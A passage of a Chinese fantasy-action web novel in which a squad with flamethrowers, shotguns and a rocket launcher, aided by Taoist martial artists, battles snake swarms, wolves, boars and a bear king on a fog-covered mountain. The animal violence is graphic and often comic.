赵九州想到了原因,接连七天都是这种浓雾天气,原本干燥的枯枝败叶吸满了水分。
“周连,放开了搞必要时可以烧山,有事我担着!”赵九州嘱咐道。
“嗯!”
周连点点头,他也注意到了两边已经熄灭的火势。
队伍继续往前,走过这片焦土,一头扎进了浓雾中。
“全体注意!发现蛇群!”
前方探路小队突然大喊,浓雾中传来淅淅索索的声音,周连立即下令!
“自由开火,构筑火线!”
下一级指挥受到命令,临机决断,根据实际情况展开布置!
“一小队平射徐进,二三小队构筑火墙,左右翼高射,发现蛇群低射防守!”
顿时十余道喷火枪同时喷涌火舌,长达十几米的火焰荡清了周围的浓雾。
开路的是三道喷火枪,以两近一中的方式开火,构筑出将近六米的火焰区,闯进这一片的蛇群纷纷皮开肉绽,没有一条能走出来。
他们的两侧各有两道喷火枪开火,火舌烧断烧毁近处长得较高的杂草、灌木尖顶,落在七八米外。
火枪左右来回晃动着烧出一片扇形火带,极大阻碍了群蛇攻势!
嘀嘀嘀~
“所有人冲锋!火焰徐进!”
周连看过地图深知这条山路太过狭窄,无法展开阵型,必须趁着火力充足时,推进并找到较大的空地构筑阵地。
前方八百米外,正好有这么一块地方,那里是三条进山路的交叉!
有喷火枪开路,即便是有蛇能在火焰区中侥幸存活,一条命也没了大半,再被乱脚踩过,死得妥妥的!
肉体凡胎如何能直面硬抗上千度的高温火焰,这是最痛苦的酷刑!
翻滚、挣扎、毒液、前进、逃跑?
统统无济于事,仅需两三秒,一条两指头粗、一米多长的蛇身上的肉就烧得会生一块熟一块的。
嘀嘀!
“狼群来袭!备战小队跟我上!”
跟在最前头喷火小队背后的周连,连吹哨子,后背着的双管□□不知何时到了手上,身上斜挂着一条长长的弹链,装枪的袋子挂在腰间。
他双手压着枪往前快走两步和队员肩并肩前进,警惕的看着几十米开外的野狼!
其他的备战小队也是如此,穿插在一众喷火队员身旁,审视周围的一举一动。
队伍在推进,推进!
小队的前面是蛇群、是狼群,在身后是成片的火场,熊熊烈火在燃烧!
呜~
狼群动了,呲着牙冲向小队,近了,近了,更近了!
五十米!
三十米!
它们冲过进了火场,他们冲出了火场!
砰!砰!砰!
来自现代文明的力量,众生平等的近战神器□□在咆哮。
枪响,狼亡!
狼群的冲锋没能让队伍的步伐缓上半分,雨靴踩上狼头,踩过狼躯,被霰弹洞穿的□□滋滋的像花洒般喷涌出血泉!
他们自信队友不会辜负期盼,他们自豪手中枪械的强大威能!
短短两分钟,来袭的狼群全部倒在血泊中,未能对队伍造成半点损伤。
嗷呜~
狼群退却!
“到底是畜生!不堪一击!”
周连面露不屑,退出枪里的空壳霰弹,关上保险。
“注意!前方有野猪!”
一眼尖的喷火队员看到远处浓雾里冒头奔驰而来的一群黑影,急忙大喊!
嘀~嘀~~~
(敌人来袭,注意闪避!)
“枪口对外,注意闪避野猪!”周连急促的喊道,加快了手上换弹的速度。
野猪的冲锋速度很快,皮也很厚,冲过火场仅是皮毛微焦,周连连开两枪,崩死了打头的野猪,拉着身旁的喷火队员闪到路旁!
野猪破冲破阵型了!
嘀嘀嘀!嘀嘀嘀!嘀嘀嘀!
(稳住阵型,优先自保!)
这时候阵型绝不能崩,一旦崩溃,带来的连锁反应是要命的。
毒蛇、狼群都会一拥而上!
只能相信身后的队友了,希望他们不要让我失望!
周连换上弹药,在闪躲的同时,不断朝着道路上、草丛中的野猪开火,它们有的是后面来的,有的是冲昏头冲偏方向的。
枪在响,火在烧,拿着大刀的年轻人们没闲着!
两三人互相配合,手起刀落间便砍断了野猪的脑袋,
转眼间,冲进来的八头野猪都成了刀下亡魂!
嘀~~~
(停止前进)
“怎么回事?怎么停下了!”
房德抹了把汗,手中的大刀还滴着血,刚刚他一个人就劈死两头野猪。
嘶!嘶!……
“咳、咳咳……”
前面的众人纷纷倒吸一口冷气,又被周围的难闻气味所呛到。
明明前方六十多米就是那块三岔路口空地,可队伍却选择在这里停下脚步。
“原地补给,四分钟后准备强攻!”
“什么情况,怎么停下来了!”
房德来到顾
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念海身旁悄悄问道,一旁的宋应星搓着手臂的鸡皮疙瘩,面色苍白不自然的回道。
“自己看前面的树上!”
“什么场面道爷我没见过,……嘶!这场面真第一次见!”
房德定睛一看,只觉得头皮发麻、冷汗直冒不自觉地后退两三步,也难怪宋应星神色这么不对劲。
前面空地旁有个松树林,临近空地的松树长得很高大,每一颗都有十几米高,但重点不在松树,而是在……
松树的枝杈上、树冠里!
那十几米高的松树上,都看不到松针了,只能看到蛇,也只有蛇,成堆的毒蛇!
密、密密麻麻的的毒蛇,它们盘踞在分支上、树冠上,蛇盘蛇、蛇缠蛇,你中有我、我中有你!
目测每条蛇都有两米来长,偶然间从树上掉下来的大堆蛇团,砸在地上,又四散分开,朝着临近处的大树盘绕而上。
“这群蛇一定有蛇王!蛇王一定是凶兽!还有狼王、野猪王也是凶兽!”房德信誓旦旦的说道。
他说的这些,在队伍前面的燕迟、赵九州也知晓,就连周连这类信仰唯物主义的也猜到一二。
“三儿~,三儿~,快点,快带着你的宝贝过来!”周连大喊道!
“三儿~,三儿~,快过来!”
“噗嗤~”
拿刀的年轻人颤抖了几下身子终是忍不住笑出声来,带起周围小声一片。
不一会,被唤作三儿~的青壮小伙子带着队员扛着箱子来到周连身边,幽怨的说道。
“周连,我叫三娃,不叫三儿~,你这样叫别人会误会的!”
噗嗤~
哈哈哈~
一众年轻人刚止住的笑声又忍不住了,实在是太好笑了,听得三娃脸上更幽怨了!
“都一样,都一样!亮出你的家伙什,好好打几炮就好了!”
周连拍了拍三娃的肩膀,指着远处的那几颗‘蛇’树。
“看到鸡儿~恶心的玩意没,给老子狠狠的干他们!”
“呕!~”
三娃刚看了眼顿时脸色煞白,肚里忍不住泛起了酸水,反胃的恶心感忍不住干呕出声。
密密麻麻、蠕动的、纠缠的、混乱的……
旁边的人认同的点点头,一副感同身受的模样。
“兄弟们干它丫的!”
三娃从旁人手里借了把大刀,很快就清理出一片空地,主要是清理零星的蛇尸,和挖坑堆斜坡。
他拿过放在一旁的大包裹,解开上面的包裹的油毡布,露出‘宝贝’真容——火箭筒。
这款火箭筒适配110毫米□□,支架仰角二十五到六十五度,威力庞大,适合攻击轻装甲目标。
适配的□□可通过发射架发射,也可通过简易发射方式实现无发射架发射,有导电发射机制和临时支撑发射机制。
在火箭筒旁边是一字摆开的三个墨绿色箱子,箱子里是火箭筒的适配炮弹,两发装,三个箱子共六发。
在三娃身后二十几米处,还有两个这样子的墨绿色箱子。
“我打两个,你们一人一个,瞄准蛇最多的地方的,明白了吗?”
三娃朝着身旁的四名队员嘱咐道。
“明白了!”X 四
另外四人用的是土堆构建临时支撑、利用导线连接干电池的方法发射!
这样做的好处是能最大范围、最有效的的杀灭蛇群。
人多,不,蛇多有什么用?
现在已经不是数量为王的时代了,而是火力至上的时代!
大人时代变了!
树林里一个阴暗的角落中,有阴影在缓慢的蠕动着!
若是此处光线照射得到,定能发现这是一条黑鳞大蛇盘踞在一起,身上的黑鳞像是最深沉的夜空,鲜红的芯子像是死神的刀锋。
此时这黑鳞大蛇正躁动不安,昂起头警惕的看向周围,它感受到一股致命的、无处不在的危险杀机!
正是这股杀机,让这个丛林中最会隐匿的猎杀者露出破绽。
跑!
黑鳞大蛇选择遵从本能,近五米长的身躯转瞬沿着阴影游荡出去好远好远!
轰!轰!轰!轰!……
火焰气浪吞没了它原先的位置!
19. 蛇群灭,抓狼王战野猪!
时间倒回一分钟前,
“周连,□□准备就绪,请指示!”
三娃大声喊道!
在他身后是用油箱垒起来的简单掩体,空箱子在外,满油箱子在里,周连从掩体旁探出头来激动喊道!
“快,轰它娘的,给老子狠狠的轰!”
“开火!”
三娃收到命令一脸兴奋和四个战士一起仅用三秒就完成了整套发射流程,一秒点炮,两秒进掩体。
六发□□在蛇群中近乎同时爆炸,爆炸中心已经没有完整的蛇了,不应该说,爆炸半径五米内已经没有完整的蛇了。
它们被炸的东一片,西一点的,成为彻底的肉糜!
更远处的蛇则是被爆炸冲击波炸飞,运气好的,被炸成几节当场死去,运气不好的,被冲击波扫过,五脏六腑都破碎,即使还能动弹,也不过是黄昏最后的挣扎!
六发□□带来的成功很喜人,树倒蛇群灭!
一名战士偷偷探头想亲眼看看这蛇群覆灭的一幕,不料却看到在远处草丛中乱窜的身影,他连忙大声。
“周连!草丛在动,是野猪、野狼!!!”
“你说什么?”
爆炸离得有点近,周连只觉得耳朵嗡嗡的,听不清楚!
“周连,草里有野猪、野狼!”
战士贴到周连耳边大喊,手上连指带画的指着远处的草丛!
“我听到了,耳朵没被炸聋,都要被你吼聋了!”周连没好气的说道,紧接着拿起哨子用力吹动!
嘀~~~~
(注意危险!)
燕迟、赵九州这些人早在□□发射前就用手指堵住了耳朵,在爆炸声没了才放下来,他们几乎没有受到影响。
“弟兄们,拿起刀给我狠狠的杀!”
他们人手一把大刀,这些野猪、野狼本来就不是他们的对手,现在更是被□□爆炸吓破了胆,一个劲的只顾乱窜逃命,哪里顾得上要命的大刀,一个个的都成刀下亡魂。
嗷呜~呜~呜~
一阵狼嗥长啸,乱窜的野狼好似找到了主心骨,纷纷往三岔路口的右侧跑去。
“弟兄们,头狼出现了,跟我冲,抓住头狼!”赵九州大声喊道!
话落,抓着大刀翻出掩体,往那三岔路口跑去,其余年轻人闻言眼前一亮,有一个算一个都拎着大刀向前冲。
“一排跟上,二排留守!”
周连撂下一句,带着一排骂骂咧咧就往前冲,他不明白这赵九州冲这么快干什么,孤军深入乃是战场大忌。
搞什么近战游侠大战野兽?
原地留守的除了老道长们,还有燕迟和海德星小队。
“到让他们捡了个好机会!”
房德用大刀随意划拉地上的泥土,都说一分胆十分力!
狼群被爆炸吓得胆寒,即便是有头狼召集指挥,没了胆气的它们,在冲锋的路上都要留着力气逃跑。
燕迟从掩体上抓下一个空油箱坐了上去,油箱是铁制的绿皮厚铁箱很耐造,老道长们有样学样,一个个的都找了空油箱垫屁股。
“燕顾问,您给算算,你说俺们今天能不能逮只凶兽。”
房德嬉皮笑脸的凑过来,燕迟抬眸看了他一眼,没有说话默默转了个身。
看到燕迟转身,他也不恼,跟着蹲到身旁,拇指和食指来回搓动,笑着说道。
“燕顾问,俺懂,这事情要讲究缘分,俺和你也是有缘分的,你给俺算算呗!”
不远处的顾念海刚想上去拉走房德这个莽撞的家伙,就听燕迟说道。
“一九的缘分?”
ヾ(*ΦωΦ)ツ(╥╯^╰╥)
笑着的脸僵住了,房德低头看看手,又抬头看看那并不单薄的嘴唇,大脑迭机!
他不明白,为何那张三十七度的嘴能说出这么寒冷彻骨的话来。
“我九你一?”
房德试探的问道,换来的只是燕迟毫无感情的死鱼眼!
他悬着的心终于落地了,但压抑不住内心的渴望继续不甘地问道。
“顾爷,要不四六的缘分?”
……
“三七,三七,不能再多了!”
房德哀求道,一米七的大汉此刻像小女孩心爱的糖果掉到地上,正扭捏的犹豫捡不捡!
Σ (?Д?;) っ?Д?)っ
燕迟破防了,只感觉浑身恶寒,很想站起来大喊:退!退!退!
“命里有时终须有,命里无时莫强求!缘分到了,自然就有了!”
房德听得一脸茫然,刚想开口问询,就被燕迟一抬手送得站起来了。
顾念海见状,连忙拉走他。
“哎哎哎!你拉着我干嘛?我还没问清楚呢?”
宋应星脸上划过黑线,一巴掌拍在他后脑勺,没好气的道。
“都和你讲清楚了,你个榆木脑袋还问问问!”
咋清楚了?
我听明白了吗?
房德看着面前两张脸陷入茫然,难道只有我不明白?
顾念海和宋应星相视一笑,这就是各自传承的不同之处了。
他们两个事根正苗红的道家门派传承,自幼受道家风气熏陶,很熟悉含蓄的指点方式。
房德则是佛家与道家兼修,以前是佛门培养的俗家弟子,在正式梯度的前一晚跑路了,后来又拜入道家门派修行。
佛家本事没见多少,从佛门学到‘本事’倒是一套一套的。
“来了!野猪和熊你们选哪个?”
“什么?”
房德大脑还没反应过来,顾念海已经跃到箱子上扫视周围,看到周围的草丛晃动得厉害。
“敌袭!”
二排的战士们喷火枪齐开左右扫射,长达二十多米的火蛇落到草丛中构建出一条燃烧带。
仅凭这个燃烧带是拦不住皮糙肉厚的野猪的,宋应星看了眼拿着大刀的老道长们叹了口气,他们加起来的战力约等于两头野猪。
可眼下晃动的草丛少说也有二三十处!
突然,
她眼前一亮,立即从掩体上拉下一个油桶,掀开盖子,用力一脚蹬在桶身上,油桶像个抛物线落在十几米开外,飞溅的油花又被火蛇点燃,熊熊燃烧。
“快,丢几个油桶出去,把火烧大些!”
燕迟、顾念海、房德纷纷照做,很快就丢出了十几桶燃料油,烧油的火焰十分凶猛,光是焰苗就近乎两米高。
油桶构筑出了一
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道道火墙,有野猪想要硬冲过火墙,却被燃料油沾附,在火焰灼烧的剧痛中丧失方向感,胡冲乱撞没能冲进人群,反倒把附近的几头野猪撞进火墙里。
猪撞猪,火传火,来袭的野猪惨死同伴之手,有漏网之猪也死在乱刀之下。
“房德,野猪王冲来了!”燕迟提醒道!
“在哪?”
房德大喜!
正巧在三岔路口出现一头体长两米的黑皮大野猪,高高弯起的锋利獠牙,宽大厚实的庞大身躯,长着强健肌肉的粗壮四肢,活脱脱的猪型坦克。
“看路口!闪开!闪开!”
顾念海大喊提醒!他看见了这头特殊的野猪,它跑起来就像个攻城车!
五六十米的距离转瞬即逝,野猪王冲到了近前,周围的人都得到了提醒,提前避开了野猪王的冲撞路线。
可偏偏有有人自诩艺高胆打,抓着大刀斜劈向野猪左前腿!
“卧槽!”
房德的虎口发麻,刚才那一刀不仅没有预想的一刀见血断腿,反倒是刀口都震歪了!
“没破皮!”燕迟悠悠道。
“……”
房德脸色一下子就黑下来,骂了声破刀,丢弃一旁!
“顾队,拿出我的家伙什!”
顾念海将银白色皮箱抛向房德。
野猪王已经掉头转好了方向,锁定房德的位置后就埋头冲锋!
“来试试大家伙!”
房德接过皮箱,抡着皮箱转体一圈高高跃起,身体在空中旋转两圈半,皮箱在他的手中像是一柄重锤般高高抬过头顶。
给我砸!!!
房德抡着皮箱砸下,皮箱的一角结结实实的砸在野猪王的脑袋上,直接砸得猪头一低,野猪王铲着地拱出去。
他借力跃到一旁,手掌拍在皮箱侧面,然后用力一推,从皮箱上滑下一块长方体,看起来像个锤头。
嗯,是一柄怪异锤子!
与寻常圆锤不同的是,这柄锤子,将圆锤改成了四方棱锤,长长的锤柄连接在那块长方体的方块面上。
“哟,还能站起来,这皮真厚实!”
看着野猪王跟头没事猪一样站了起来,房德也很诧异,刚刚他那一下少说也有五百公斤的冲击力,换作是一个人脑袋挨上一下,能像西瓜般爆开。
野猪王现在很生气,很生气!
它第一次受到这么疼的伤,上一次受伤,还是被那头熊的爪子挠的,身为山林霸主怎么能善罢甘休!
野猪王意识到眼前这个人和山里的那些猎物不一样,比那帮死猴子还能跳!
只不过那群猴子都死了葬在自己肚子里,他也不例外!
野猪王喷了两口浊气,划拉两下脚边的泥土,冲锋!
“嘿嘿,俺闪!”
房德嘿嘿一笑,一跨脚与野猪王交错而过。
但野猪王也是身经百战之猪,一个预判甩头撞上了迎面锤来的锤子。
真·脸接铁锤!
“好厚的脸皮!”
野猪王虽不通人话,却也能感觉出话无好话,埋头,继续撞!
“要不用这个?”二排走到燕迟身旁,指了指手上的双管□□!
“不不不!还不用!””
20. 凶兽败退,石人算计
顾念海还指望房德能生擒野猪王,不打算动用热武器,
燕迟没说话,二排扫了眼战局,也没多说什么,就当是练兵了。
现在的局面还能控制,野猪王无愧它的猪脑子,就认准了房德不放。
其他的普通野猪都没有造成人员伤亡,这些拿着喷火器的士兵有一个算一个,体能、格斗技巧都不差,一对一杀一头野猪打不过,三对一那是一点问题没有。
那些老道长虽说年纪大了,半截身子已经入土,可他们七十多岁的身体比四十的中年人还要好,再有上多年习武的底子在,短时间内一对一击杀野猪也完全没有问题。
这些老道长鸡贼的很,会找战士们配合,两三名战士刚把野猪牵制住,他们就暴起一刀斩杀。
能冲到众人面前的野猪只是少数,大部分被火墙拦住,唯唯诺诺不敢冲。
又一重锤砸脸!
锤头落下,砸在野猪王面皮上掀起一层涟漪,庞大的力道锤得猪头都歪了。
野猪王晃晃脑袋,哼哼两声,又好似没事猪一样,再度朝房德冲去。
“房德,你行不行啊!可别把野猪锤死了,活的和死的可不是一个价!”
宋应星抓着大刀到处支援,还有闲暇关注这场战斗,房德这个混球每一击重锤都往野猪王脸上招呼,可怜猪王都要打傻了!
她留意到野猪王口角的白沫染上些许血色,显然野猪王脸皮也没实际上那么厚实!
“差不多了,准备抓猪!”房德轻喝一声。
这一次面对野猪王的冲锋,他不再躲闪,大锤仰起,重重砸落!
咚的一声锤在野猪王脑门上,力度刚刚好,蒙蔽不伤脑,野猪王白眼一翻,四肢失去控制,整头猪啪叽跪地朝着房德滑铲而来。
“喝啊啊!”
锤子往旁边一放,房德双脚分开与肩齐平,整个人猛的蹲下跨与膝同高,双手朝着猪头按下,止住了野猪王前冲的势头!
他双手各自握住一根獠牙低吼,一股大力从脚生,壮于腿,强健于腰,通达双臂,抬起了整个猪头,猪身……
野猪王在剧痛中惊醒,看着急促太高的视野倒映出那幅狰狞的脸庞,眼中瞳孔骤缩!
哼哼~
这不对啊!
来不及思考了,野猪王只觉脸上一阵剧痛,还没体会到完整的失重感,就四肢朝天重重落地,炸起一圈尘土。
“包给我!你拿刀去帮忙!”
宋应星从顾念海手中接过背包,拉开拉链,取出一卷钢丝绳!
她反手背上背包就跑到野猪王旁,还未来得及细看,近三毫米粗细的钢丝绳就如同寻常线绳般,三下五除二的就把四根猪蹄绑得死死的。
“倒霉的野猪!”
宋应星感慨道,背手从背包里拿到了止血粉,抬起猪头就往上面的两个血洞猛猛灌,过量的药粉立竿见影,马上就止住了鲜血!
而始作俑者是满脸欣喜的看着自己手中的两根獠牙,獠牙很长,约有二十厘米,带着微微的弧度。
野猪牙温润如玉,质地坚硬宛若钢铁,中心还有一道细小的孔洞,只需稍加打磨、精炼便是一柄极好的匕首!
只是可惜了,野猪王头上就只有这两根下獠牙,上獠牙只剩下牙茬了,也不知是断在那里了。
“见者有份!”
宋应星凑到房德身旁,眼疾手快的摸走一根獠牙,这野猪王是灵兽,身上异变最明显的就是这两根獠牙,可是一件天然的宝贝!
“分你一根,你要帮我用这獠牙炼制一柄匕首!”
没有人能拒绝如此精致小巧的獠牙匕首,简直是男人的梦中情刀,房德也不例外!
这两根野猪獠牙还是上好法器胚子,天生便带有辟邪效果,可惜他的传承并不侧重炼器,不能发挥出獠牙的最大功效!
“好!”
宋应星一口应下,反手收起野猪獠牙往身上一藏,也不知藏在了何处,竟是看不出任何端倪!
一场交易皆大欢喜,一男一女都觉得自己赚了,只有野猪躲在角落哭戚戚!
你们用的可是我的獠牙!(▼ヘ▼#)o(*≧д≦)o!!d(?`ω??d*)
“退!大家快退!”
三岔路口处传来骚乱,两名年轻人抱着周连狂奔,在他们身后是一排的士兵,里面还杂着两个年轻人带着一头捆得严严实实的野狼王!
在他们身后是且战且退的赵九州等人!
“他们遇到麻烦了!”
燕迟对着顾念海提醒道,他和叶定方的约定是保护赵九州还有这群老道长,至于其他人,那就看缘分了!
“应星,房德我们去帮忙!”
顾念海闻言眼前一亮,立即招呼二人,他们小队现在不出力,什么时候出力,雪中送炭可比锦上添花更能让人记住。
咳咳,当然落井下石最为让人记忆深刻!
但顾念海是没有这种想法的,毕竟他只是想投机而不是结仇,其余二人跟随他赶往三岔路口!
刚到路口,三人就看到了逼退众人的罪魁祸首——三头黑熊!
不!是两头!
两头黑熊与众人打得有来有往,每次扑过来都被大刀逼退,然后重新组织起攻势,再度袭击!
在两头黑熊身后五六米处,有一头体型更大的黑熊踱步,它比这两头成年黑熊还要大上一圈,左肩有个血洞,鲜血时不时从伤口中渗出来!
经验老到的三人认得出来,远处那头黑熊受的是枪伤,十余名年轻人并非不能斩杀眼前这两头黑熊,只是在顾忌那头大黑熊。
看来这就是那凶兽熊王了,这次兽潮的组织者!
正所谓一猪二熊三老虎,
有熊出没的地方,是没有老虎的,二者都是最顶级的猎杀者,都有很强的领地意识。
熊王更强,那么它不会容忍自己的地盘上有一头老虎栖息,反之亦然!
如果实力相当那就更不可能和睦相处了,一块领地内的猎物是有限的,你吃一口,就意味着我少吃一口!
缺少食物的后果便是衰弱,要么一方远走高飞,要么只有一方爆杀另一方的结果!
毕竟,只有活下来的才有狩猎权!
野猪王能留下来,是因为野猪是杂食性动物,很多熊的猎物都不在野猪王的狩猎食谱中,也可能是熊王把野猪王当做了储备粮!
言归正传,
三人看到那头熊王,瞬间绷紧了身子!
“房德,能打吗?”
三个人里面就房德最能抗,如果自小修行了金钟罩、铁布衫、罗汉强身法等诸多炼体法门的房德抗不住,那就只能再想些其他办法!
“先试试,打不过,还跑不过嘛!”
房德比较了自己和熊王的身躯,有些不确定的说道。
“去林子里打!”
“好!”
三人兵分两路,顾念海和宋应星跑进了松树林里,房德绕过前面两头黑熊直奔熊王。
“孽畜!吃俺一锤!”
熊王抬爪一挥,接下重锤,紧接着直立而起,像是一堵高墙拦在房德面前。
黑熊体长一米八,站起来后更是达到了两米五的高度,
一熊一人站到一起,就像是刚毕业的大学生旁边站着一个一年级的小学生。
篮球大小的熊爪挥向房德脑袋,他一个缩头后跳转身,重锤砸在熊爪上,所有力量就像泥牛如海,不起半分波澜!
反震回来的力道直接麻了小半边身子!
“卧艹!”
房德脸颊抽搐,闪身躲过熊王的扑咬,内心明白二者的力量根本不是一个两级的!
成年黑熊的掌力可达上千公斤,名副其实的‘肉装战场’,眼前的熊王体型比普通黑熊还要大上一圈,其力量无疑是更加惊人。
上吨的力量蕴含在篮球大小的巴掌上,光是想想都觉得可怕。
一拍二扑三撕咬!
熊王的攻势极其凶猛,房德根本没有还手的余地,或者说还手也没用,只能不断躲闪拖延时间。
好在熊王左臂受伤了,转身总是慢个半拍!
“好了,房德!”
松树林里传来喊声!
房德大喜,抓住一个间隙全力一锤砸在熊王左肩伤口处,顿时鲜血飞溅,刚凝合的伤口瞬间崩裂!
“爷爷我不陪你玩了!”
吼!!!
暴烈的熊啸震耳欲聋!
熊王眼中凶光
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大盛,不管不顾的朝着房德的背影奔去!
这一锤看似效果显著,实际上都没有打出□□一半的伤害,只是侮辱性极强!
大概是:
五百+力量的重锤!
10伤害!
熊王怒气+100
刚进林子,房德闪身躲到一颗松树背后继续狂奔!
砰!
咔嚓!
这是熊掌拍在树干的声音!
这棵近三十厘米刚遭受炮轰的松树终是不堪重负,歪歪扭扭的朝着一旁倒下!
砰!
砰!砰!
熊王在松树林里横冲直撞,所过之处一片狼藉,无愧‘肉装坦克’之名号,
但凡有拦路的树木,挨上一掌或是一撞没有动静,都要竖起大拇指夸它长得好!
房德领着熊王很快来到了一处树木密集处!
“呸!不跑了,看老子溜死你!”
房德大笑!仿佛占尽优势,熊王没有惯着,直接猛冲一跃扑咬过去。
“早就防着你这招!”
他闪身躲到身旁的树木边上,抡起铁锤重重砸下,砸在了熊背上!
???
熊王虽不知道眼前小人为什么不跑了,还给挠痒痒,可它还是记得方才锤在伤口的那一锤!
反手一巴掌拍过去,没拍中,拍到了树干,落下簌簌落叶!
瞟了眼树上的掌印,房德脸上一苦!
“艹!还是你强!”
力的作用是相互的,不会因意志而转移,熊王能在树皮上留下掌印,侧向证明了一身的肌肉筋骨的强度。
“应星,念海,你们快点,这几棵树可抗不了多久!”房德催促道。
“快了,快了!”
要做一个能困住黑熊的陷阱可不容易,更何况是黑熊王这种族群中的最强者。
首先,陷阱不能太小,
其次,这种临时陷阱要隐蔽和强度并存,
最后,便是要有房德这种能稳拉住仇恨的家伙,让黑熊不要乱跑。
另一边,
燕迟检查了周连胸口的伤势,给他上了药!
是被爪子划伤的,当时熊王的目标不是他,而是手上的□□,一巴掌下来,枪卷折成了废铁。
好在赵九州救援及时,拉走了周连,熊王因为左肩受伤内心忌惮,被众人挥着大刀逼退!
当然他们也不敢逼得太紧,哪怕是上好的钢刀对上熊王这种‘肉装战车’伤害也有限。
于是就变成了三人看到的那一幕!
“好好养伤,双手脱臼厉害,三五天内不要拿重的东西,也不要做负担重的动作。”燕迟叮嘱道。
“那黑熊现在怎么样了?”
周连问道,他的伤势不要紧,要紧的是那头黑熊,要是让黑熊跑了,那附近村子里的村民可就危险了!
黑熊这玩意很记仇!还十分危险!
“海德星小队把它引走了!”
话是赵九州回答的,他眼中有些担忧,闻言,周连大喊、
“三儿~,三儿~,咳咳咳~~。“
喊得太大声,牵动了胸口上的伤势,他缓了缓才继续说道。
“赵队,你带着他去支援他们,不要放跑了黑熊,不能让百姓们陷入危险中。三儿~,听到了没!”
后面一句是对三娃说的!
“保证完成任务!”
“好!我会的!”
赵九州应道,扭头看向燕迟,等待他的回应!
这里的危险已经解除,蛇群覆灭,野狼、野猪都已经散去了,方才追着他们的两头黑熊已经被斩。
燕迟抬头望天,天空灰蒙蒙的有些昏暗,远处的雾气变得稀薄,看样子快要散去了!
“我和道长们留下来,这里还是要有人照看的!”
“好!辛苦你了,我们走!”
赵九州走得干脆利落,留下一半的年轻人,带着三娃和几名战士奔赴树林了!
此刻的树林里!
四条拇指粗细的锁链正牢牢套在熊王的四肢上,另一端绑在周围粗壮的树干上。
吼!
黑熊怒吼!铁链绷紧得死死的,另一头深深嵌入树干。
21.熊王败退,满天黑云
“这铁链不会断吧?这可是用上好钢材打造出来的啊!”
房德咂咂嘴,大摇大摆走到熊王面前站定,两者的距离只有一米,对二者来说都只需一步就能跨越!
可这一米成了双方之间的天埑!
熊王努力坤直了脖子,探长了脑袋,仍然无济于事,那张尖牙大嘴数次开合,却只咬到了空气。
吼~
“我知道你很急,但你先别急!”
看着熊王一脸愤怒不满,房德不怀好意的笑了笑!他在不当人的路子上一点都不当人!
只见他抬起手上的铁锤亲切的说道。
“你看着是什么?”
铁锤凑近了熊脑袋,上面还有星星点点的血迹,熊王猛的歪头一咬!
咬了一个寂寞!
“哎!知道你很急,但你不要急!”
房德收回铁锤,手臂抬起后仰蓄力,下一瞬,那邦邦大的铁锤破开空气,呼啸的砸在熊王脸上。
力度刚刚好,蒙蔽不伤脑!
????
熊王愣了瞬,从来只有它呼别人的脑袋,什么时候有人敢来呼它的脑袋了?
它愣着,铁锤可没愣,又是一锤!
左右对称!雨露均沾!
“吼!~”
咔~咔咔~咔~
熊王十分暴躁,嘴巴数次张合与空气斗智斗勇,周身的铁链咯咯作响,绷紧到了极限!
士可杀不可辱!
“房德,你悠着点!”
顾念海不放心的提醒道!
捆着熊王的锁链每一节都有拇指粗细,每节的缝隙都被熔炼在一起,但其材质毕竟是铁,还是有挣断的可能!
房德闻言翻了个白眼说道,
“我那么努力是为了啥,还不都是为了你们,说我你还不如多催催应星!”
真以为他能一锤子把这熊王打晕不成?
哪怕是熊王配合的给出后脑勺,他一锤子下去,力道怕是要被毛发、熊皮、皮下脂肪、肌肉一层层的消磨殆尽!
肉装战车的名号可不是吹出来的。
宋应星没有闲暇理会这两人,旁边放着一根铁制针筒,针筒有手臂粗细,二十来公分长,上面的钢制针头有成年女子小拇指粗细。
她正忙把各种粉末往倒进还剩大半瓶水的塑料水瓶中,这是在配置高浓度蒙汗药,要想药翻一头熊,唯一的做法就是加大药量!
熊的体质很高,能让十几头牛昏睡半天的剂量,放在熊身上,可能只让它睡上七八个小时!
“诶,都是碘伏加皮鞭,边打边消毒,皮鞭加盐水,越大越带劲!”
房德露出不怀好意的笑,从怀里掏出了‘宝贝!’
特制辣椒油、高浓度酒精!
他无视熊王的抗议,自顾自的说道!
“我这人呢,心善,最看不得世人多烦恼,今天就让和尚我为你洗净六根烦恼丝!”
酒精! 泼!
辣椒油!泼!
被锁链束缚的熊王就是一个活靶子,想躲又能躲到哪里去?房德的手法又很精准,细心地照顾到了脑袋的每一处!
吼!
咳~吼咳~咳咳咳~
熊王眼睛鼻子沾上了辣椒油,很是痛苦,刚张开嘴巴怒吼就被直达咽喉的辣椒油给断施法!
“乖!别叫!摸摸头!”
房德嘴上温柔,手上却极其不当人,他用铁锤揉搓着脑袋的毛发,只为让辣椒油渗透的更深些!
不一会功夫,流于毛发外辣椒油已经渗透到了皮肤层上!
众所周知,辣椒油的辣是能通过毛孔渗透的,所以在沾上辣椒油后,尽量避免运动,患处敷冰块!
熊王想怒吼却不敢张嘴,它嘴里嗓子眼的火辣还没消退,想要睁眼而不能睁,双目红肿不能视物,呼吸都带着一股火辣的灼热!
憋屈!
愤怒!
想要破坏一切!!!
“嘿嘿!我再给你按按,保证让你体会到什么叫□□!”
房德左一锤、右一锤、头顶一锤轮流砸下,熊王这一次竟是不闪不避,任由铁锤招呼!
没人注意到它的熊掌上的爪子已经弹出到了极限!
呼!
一根手臂粗的针筒破空而来,针头刺穿了坚韧厚实的熊皮深深扎进血肉中,针筒里面的液体在压缩空气与弹簧的作用下,以肉眼可见的速度冲进熊王体内!
吼!~~
(叮!)
熊王赤红双目发狂怒吼,拉扯双臂上的铁链传出细微的崩裂声!
房德的耳朵很灵敏,一下子听出夹杂在熊吼里的声音,一个后跳退出两三米!
“都小心点,熊王发疯了,铁链要断了!”
“什么?(怎么可能)”
咔~咔~咔~
捆着熊王双腿的锁链也发出形变的声音!
“退!”
“快退!”
“跑!”
三人惊慌道,顾念海和宋应星也听到声音了,一个个神色慌张的跑向林子外!
“你做了什么?”房德不解道!
这话问的是宋应星,一针管蒙汗药下去,整头熊就像吃了十全大补丸般,实力暴涨!
“都是正常蒙汗药配方,只不过剂量很大!”
宋应星也有些疑惑,她的手就是称,不可能混错药物!
“赶紧跑!那头熊应该是激活了天赋能力!要是跑慢了……”
顾念海话还没说完,身后便传来锁链崩断的声音!
“艹!”X2
艹是一个形容词,形容当事人激动、纠结、感叹等多种情绪交织混合的复杂心情!
三人默默的加快速度,六七十米的路硬是两三秒就跑出了林子,刚出来就看到三十米开外来支援的赵九州等人!
“快跑,熊王激活了天赋!实力更强了!”
!!!!!
什么!!!
